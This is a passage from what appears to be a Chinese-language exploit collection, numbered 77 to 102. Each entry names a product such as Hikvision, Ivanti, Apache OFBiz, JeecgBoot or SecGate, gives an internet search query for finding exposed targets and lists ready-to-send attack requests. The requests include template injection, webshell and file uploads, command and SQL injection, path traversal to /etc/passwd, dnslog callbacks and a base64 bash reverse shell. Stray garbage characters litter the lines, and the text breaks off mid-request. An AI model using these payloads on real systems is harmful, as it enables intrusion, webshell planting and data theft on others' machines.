8 i! w# G3 U- X6 ECookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
: }5 {0 N4 Z, a' o# w) j9 MUpgrade-Insecure-Requests: 1
" i% }3 U2 P) |2 w8 h
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


6 o' p: K) `+ SGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
5 [% s$ e# s, [3 A

" @* h( g9 U/ n, E4 Y
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
6 y4 r& D* w  n
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
7 A- j  Z  ]; U* X! t/ j8 @
; y5 Z4 m0 E3 Q* z0 I/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
" X- B5 b# ?; A+ s) l8 p4 SContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

6 K! A* j4 B9 g* i; b" |hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
4 ~8 z4 m* r1 Z+ q' M5 ]6 e# L- qContent-Disposition: form-data; name="Upload"
- H* k' \. A! |% b5 ^
Submit Query
6 [3 q" h7 r4 W" m# G1 m6 K------------398jnjVTTlDVXHlE7yYnfwBoix--

/ s3 T' ]: q  |% L2 P
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
, _* z5 o* U/ o, Y  T' X% u5 qPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* N4 k; z- y" \Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
; c$ ~8 Y" [" }+ _# K
0 D% h/ a0 }6 J( P1 g! d- G/ Y------YsOxWxSvj1KyZow1PTsh98fdu6l
# m$ g  s: l% b( M# b$ fContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
' F( \3 \  }( |+ t9 ^
YsOxWxSvj1KyZow1PTsh98fdu6l
  n- R( U7 W# `, G/ n5 U* w------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
3 Q) R; ~/ S/ t- G, c0 n6 h6 |! I------YsOxWxSvj1KyZow1PTsh98fdu6l--

' Z& J9 w: W+ j6 n
; B$ ^" a5 T  N4 hGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
& V" Y0 V! i3 Z: y8 {/ O
! H1 X3 `4 ]6 U% M2 ]
/ j2 r9 j; w" `; C7 f7 h79. BYTEVALUE 百为流控路由器远程命令执行
' r8 S; z$ I' C" |FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
% }2 w3 n8 ]) ~1 [! S, N* VHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ D' C5 s: n8 d* k5 X3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% W1 e6 c. p7 j& K- f1 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
" \' w& u6 ~, @. i& I

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
/ R  V3 C+ J( Z: jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
  |$ j# I# @$ w. E+ h( y! A$ ^6 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& t8 }: k2 l0 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 q+ y2 @+ ]6 D" NConnection: close
Content-Type: application/octet-stream
9 x% P* Y  B- A8 |" h: C2 kUpgrade-Insecure-Requests: 1

, y  n" a* r1 u4 m<% out.print("oessqeonylzaf");%>


0 q! r( r* a  R0 O6 e6 v' W, uGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
6 J. f/ b% S; AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 w. s$ f- R0 A5 y- S) {0 c) AConnection: close
1 {, E, {2 {1 O0 Z. \# L- bAccept-Encoding: gzip
* Y! Q8 N4 _0 Y
$ D% p* d4 ~# [
- q) B+ z& m1 a& G0 D81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
: p5 }' s9 v" LFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
8 e( e' J, l  o! z/ gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 H( t8 g7 Y1 M- `0 }Accept-Encoding: gzip


/ m6 }; n' z3 \2 F. E0 ]1 d82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
: q4 ?8 X" E2 t6 p+ q& z5 O! ]FOFA：app="思福迪-LOGBASE"
/ @, q& s! P; C5 WPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
1 a# F* w5 U# s5 AContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
7 |9 L8 D0 W! X9 k: u
4 Z6 X9 H4 g/ Q+ d7 }5 Tz1=1&z2="|id;"&z3=bhost


" L4 w/ i# S+ I83. JeecgBoot testConnection 远程命令执行
2 K" U' t$ i1 o. MFOFA：title=="JeecgBoot 企业级低代码平台"
3 X& t& i! f% H( o6 {3 b/ C
* U* w- B& g& M" W6 v) d0 e9 ~
* c0 h* ]! t7 p* c' c8 `POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% m% Q, I# N3 `2 g/ zContent-Length: 8881
Accept-Encoding: gzip
- R) e. ~- C! |) w  tCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
+ S5 ?) m8 U7 K% uContent-Type: application/json

3 K  o9 j4 B* l# M: J) S! h$ B3 P1 vPAYLOAD
% {; k) n: H1 D
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
! ?4 K, k, J4 j; d: I! W7 n& lFOFA：title=="JeecgBoot 企业级低代码平台"
  y7 y5 l5 h! G
9 P% r+ L- Y% ~* Y- G  I; V! l
8 P4 z" f% q( x
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
6 |' Z1 C  k% ?4 FUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
# t" n3 X7 V  v& BConnection: close
Content-Type: application/json
Accept-Encoding: gzip
& }" o3 U# ], J- K! G8 T7 ^
9 Q% _0 n: L# E* ?% W6 n{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
1 q& k, v5 v4 B7 a  "type": "0"
}

. r) |2 ^% I- I; c$ v
  ], J3 n) h, t" r0 Q% J85. SysAid On-premise< 23.3.36远程代码执行
: V+ P& R+ p$ I; I9 ?) ?: q# FCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
# N. `  L% D, e& R8 `) d' O& cEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
0 G& r- |' Y0 Y- @, P& t2 W8 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

( e+ o' w" R- f/ ~' C+ }PAYLOAD

. G( k( |  [9 g回显URL：http://x.x.x.x/userfiles/index.jsp
" n& U* k# S8 A: C& W3 B0 h( Q
( Y$ J- s- w1 n, \86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
/ P$ k+ S: i1 e) V# hConnection: close
Content-Length: 44
1 |5 y% i5 ], M  g1 `1 rAccept: */*
% g/ T& j+ g( @: N( z" CAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
3 A6 R4 `% [) P+ p  l
7 `* i. n; E- Q/ ~host=%0acat${IFS}/etc/passwd%0a&command=ping


5 \2 O2 \+ @5 R, ]4 P1 F87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
! ]4 s# s5 c' ~4 i! t/ `POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
( {! s; v8 s! _) d( h- x, r  HHost: X.X.X.X
" ~  J% L$ t/ }+ ?3 G  q! NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 H7 l; w' M/ y! {2 r8 LConnection: close
Content-Length: 198
Accept-Encoding: gzip
8 S: P/ U/ q6 f, A: O5 WContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
% _0 B8 i6 ^% w! o7 hContent-Type: text/plain

: i5 D! o/ M5 S4 P: h( K3 F2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

8 Z& T- v) L1 O1 G; R' Q3 f5 F5 c5 a4 M
& U( N, ^8 K, C7 S$ ?$ m: `/jfhatuwe.php
' q/ t, k! o( |& g7 E& \* b9 }
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
# |9 D4 ?( R' E8 W0 T& K$ L: q, cGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
$ A/ h- _( Z3 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' A' \2 V$ ]5 g+ d& QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 A9 Z% J! e( g; ZConnection: close
' M, Q1 H8 R1 Q
. u$ k! U) \9 t3 R& T  t! s* P
) \# v' p* @# C  t; `6 i/astdfkhl.php
, ]- f/ f0 d; K9 n* \
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
# k. a& @. I( w3 G! R& vPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
1 G( q6 j3 e: QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
' n+ {( b; H# BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( s! E$ O! ?. _
option=2&GUID=-1'+union+select+111*222--+

, D, d; U4 L# ?. V) X- x
$ T9 s' f4 `* |90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
3 \' s% q' W* `. ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 m  I* v7 @% M3 [Connection: close
, I7 n) H1 J) T, T! NContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

7 p: A! f! v# e6 A0 t7 I9 Y$ l5 vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
/ X4 \( m2 K6 h: a! o

/ k) N7 A) g* j! f3 @91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
6 L0 y: P0 ?2 I3 o/ s1 yGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
3 `3 x) B$ ]% R4 [; ~$ ]: C" ~, N( rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ I8 F' M7 E% T" ~: ?: A! IAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



92. 海康威视运行管理中心session命令执行
/ F& e" I* z" D. m% ]Fastjson命令执行
& j* ?6 m8 {/ m7 T, _hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
7 r, ]. u9 Q; I) D/ DPOST /center/api/session HTTP/1.1
* x3 P5 U( Q/ _; \  j1 u8 N7 yHost:
7 `, I  O( S# O" b; }Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
5 e1 m; _; @* t0 A" @/ vX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
% m7 v6 r5 a2 w2 R3 h/ d3 r: NTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
% k: \7 N% H- @3 ]1 z0 @Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
8 y* H4 ?6 T: s* j3 G
PAYLOAD
' R- h0 c8 X& |  P# u) ?" }1 l2 o

1 k+ t% P. u' G) z% F93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
* _6 F; ~! Y+ w4 x$ e  R* R% MFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
9 K: q* a; q% O/ I
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
  `  }! n% |. t' h- h3 ?Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
2 ~: F7 C8 q# x) U) a/ t------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
2 n) d2 d& {1 \0 [( i! ~+ X/ \
obj_app_upfile
% |. N( q) `, m; q2 P8 j; u6 `$ @4 e------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
. {6 h$ F' l6 Y
9 t& O" Q4 `- S: l: }0b9d6b1ab7479ab69d9f71b05e0e9445
$ {$ u% x' j( Q* }------WebKitFormBoundarykcbkgdfx--

: \& u  y! E! |, h
GET /attachements/xlskxknxa.txt HTTP/1.1
8 l3 C# \9 Z2 O! g! U) V+ ^Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 C1 b' W4 L& U% `  H2 F! T3 i& u  n
- b/ e2 e" j$ \, ?; o
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
) C' [# o% G* p  i7 {6 W3 mPOST /?g=obj_area_import_save HTTP/1.1
) H4 `4 u2 `: T9 u) D9 ^Host: x.x.x.x
# G0 v" E% c: o' nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& `) g/ X+ t8 G' I6 Q
( x( t+ J5 i5 H, j0 a9 F: [9 Y- X------WebKitFormBoundarybqvzqvmt
( B. X+ K1 x2 t1 G% c% hContent-Disposition: form-data; name="MAX_FILE_SIZE"
* B; Z& o" |) h
10000000
------WebKitFormBoundarybqvzqvmt
6 G1 c: [8 C3 r$ ?3 nContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
5 Z( i6 ~5 z9 B: Z, B
/ d0 q' v( L5 m+ o8 Dpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
0 |- j7 z* g4 M3 B+ ZContent-Disposition: form-data; name="submit_post"

5 E0 a# @: U2 m# Kobj_app_upfile
) d$ N9 e* ]9 G# |' r5 u" e( G------WebKitFormBoundarybqvzqvmt
4 V# V5 J+ z! h9 o; t7 LContent-Disposition: form-data; name="__hash__"

1 [' Q! o' K9 {* D2 G/ ^: f8 z0 N0b9d6b1ab7479ab69d9f71b05e0e9445
& w4 T5 X3 L/ T# g: ]" n0 A/ l------WebKitFormBoundarybqvzqvmt--

' _' G2 a* m) v6 ~
: `7 w& m% R8 q0 v
1 t; c' v% E6 Q) S2 FGET /attachements/xlskxknxa.txt HTTP/1.1
5 V: B! P7 ?8 K, l: s0 b4 H* SHost: xx.xx.xx.xx
. j9 y! g( O! m+ j, D! q: gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ h2 u6 K, y; g" [1 j! o, \
$ a- a1 L' U) H+ f0 r7 s
2 V, \0 R9 e/ {" P( C
" C/ B) g: H+ N$ N" m4 f95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
3 D6 x# ]% f$ \  O. V# PCVE-2023-49070
/ h& r9 S: g: gFOFA：app="Apache_OFBiz"
. A% B" G( o2 D' T0 Q, D2 GPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
; t) Q. I/ d# Y$ G# l$ ^/ s  c; zHost: x.x.x.x
' b" F7 \9 _: m6 tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( a7 y$ h4 @. r* B. s; ZConnection: close
+ a# |* _/ }1 N6 b" e' @Content-Length: 889
Content-Type: application/xml
/ g2 S( |* w- L0 J" VAccept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
/ i# S* b! z& J( t; R      <param>
      <value>
        <struct>
* P1 t/ U3 {) a5 k0 q1 U! C       <member>
          <name>test</name>
$ q% e* G+ P. Z7 O7 q          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
/ ]* I8 @2 ^9 a          </value>
2 J2 _2 n, {) T6 |  A) U: e% K- X        </member>
      </struct>
2 J. P# ~1 u1 j5 O: O  g. _* s      </value>
    </param>
    </params>
</methodCall>
, d2 T5 _3 O. |' e$ \; P
, r, k) Z, {. _- ~) M/ B. _9 f
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
8 ?5 ?3 a; D/ X2 l% n# {5 S; n5 xPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
, Z3 T* Q: X( XHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
& T/ {8 m' w; pContent-Length: 889
Content-Type: application/xml
9 _% u, D% G5 g0 KAccept-Encoding: gzip

& }; c2 \; b5 E. PPAYLOAD
, ^, c9 G3 u  \; c7 }( n9 W0 H( N
( M1 t8 ~' L. o  f96. Apache OFBiz  18.12.11 groovy 远程代码执行
/ R6 ]! O1 o+ L* GFOFA：app="Apache_OFBiz"
4 `( s& M3 I- ]" pPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
, F# w4 [& D8 y  B/ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' i+ l  @# _/ Q2 i" S' ]Accept: */*
7 y& H% v9 ?' _9 T7 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 g# o# ^8 W4 B) H9 \9 XContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


$ V; |2 h0 r2 P" M: V反弹shell
在kali上启动一个监听
nc -lvp 7777
8 s* I3 k9 V, q1 t
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 K, n6 Y# J' c% T. B+ [Host: 192.168.40.130:8443
. r7 j1 m; T# R7 v9 N: Y! ]; VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ T8 U3 D4 Q. I& T$ r6 ]Accept: */*
! j9 t/ _, q5 i9 R) E1 ?8 M* P6 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
  g: x+ a, H0 v5 V% D" [, b: p! mContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

6 P! v8 g  Y$ O5 F5 ?$ p97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
7 a+ Q/ s( _! g8 I* FFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
/ ]$ [/ J! d: O8 g3 oGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. c4 D$ I- b8 P) K3 U! fAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
2 l6 a% H6 ^- G" V6 C

4 z% R5 m* ]7 T3 M4 N" E98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
0 s. S9 P- Q$ y: ~POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
. e) K, h( |% {Content-Length: 121
" g1 x  I, u9 T, i* d7 i1 DAccept: */*
# ~, c3 \9 @4 G: UAccept-Encoding: gzip, deflate
( W/ d. |& e" l; O  G, T+ f8 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 j$ P" A  R0 H  l+ J5 _X-Requested-With: XMLHttpRequest
0 l) S, ?$ u% _# B6 v. Z: \
4 b* q4 @1 n  j6 P" Rid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


* A+ o3 F/ A0 P: G99. Ncast盈可视高清智能录播系统busiFacade RCE
3 v/ j) W+ y" @6 ?7 Y3 v8 K+ nCVE-2024-0305
, Z/ i. Z2 {5 ^7 ZFOFA：app="Ncast-产品" && title=="高清智能录播系统"
% p2 m* T8 h& z4 n! m0 n5 uPOST /classes/common/busiFacade.php HTTP/1.1
# y# y: r! m8 }9 ~9 GHost: 192.168.40.130:8080
, h; o# Y* s! {' PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
- u4 P( ^) X' t  K' |9 }Content-Length: 154
6 T9 r3 C5 H1 |+ K- U- W3 DAccept: */*
- f* f& ]$ V* ?( CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 ?" b" L- X* x+ l( P! {/ kContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
6 \$ V* u: @. Y+ ~& f$ e
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
2 z4 B8 g. x7 u5 k5 U( A
% x2 U7 v/ K! u( A6 \: c0 J
" P$ c5 @) o) b- E0 a8 \100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
; O( o; b3 C9 K6 n' a8 H2 FCVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
$ |6 K0 }) N+ G# A' n% OUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
, e8 G* n' m" ?8 v) A; TContent-Length: 201
9 x0 h3 [! N+ |7 c* {& ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
( S8 Q( l- b+ q/ h+ L# pAccept-Encoding: gzip

2 y/ O/ H/ P- A* l/ o------WebKitFormBoundarygcflwtei
1 Y, {, I# z/ N2 g( D* j$ kContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

" j4 P0 x6 u7 P1 E2 D, i& w0 y2ayyhRXiAsKXL8olvF5s4qqyI2O
" p- Y- q, v' r# I& U  j------WebKitFormBoundarygcflwtei--
8 i% P$ E  v3 B5 w* p& R
2 A6 u! f- e) C& f+ g6 Q; |
101. ivanti policy secure-22.6命令注入
6 c* R" [; O8 n9 vCVE-2024-21887
! b: l# H9 L* P  O& y3 O$ q& ]FOFA：body="welcome.cgi?p=logo"
5 @0 [3 w' K- Z: Y8 ^% g9 CGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
" U- E) B2 n& O# ^' t9 z' [Host: x.x.x.xx.x.x.x
* H: S9 m" W& z( ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
5 s3 w1 X. V- x5 b1 {Accept-Encoding: gzip
+ m: P" J+ A+ T; B8 _2 q; m
' t! @  @' l4 q4 F* `; Q/ n
4 G6 L+ K  y7 B+ a3 y7 N102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
& |7 e  v& e  u% E) ?CVE-2024-21893
" L. i/ \+ W$ ^, X9 u. IFOFA：body="welcome.cgi?p=logo"
- N. Q( I; W. G6 O& G- Z# sPOST /dana-ws/saml20.ws HTTP/1.1
1 |0 ~; T3 p- y2 ^: W3 T0 B5 hHost: x.x.x.x
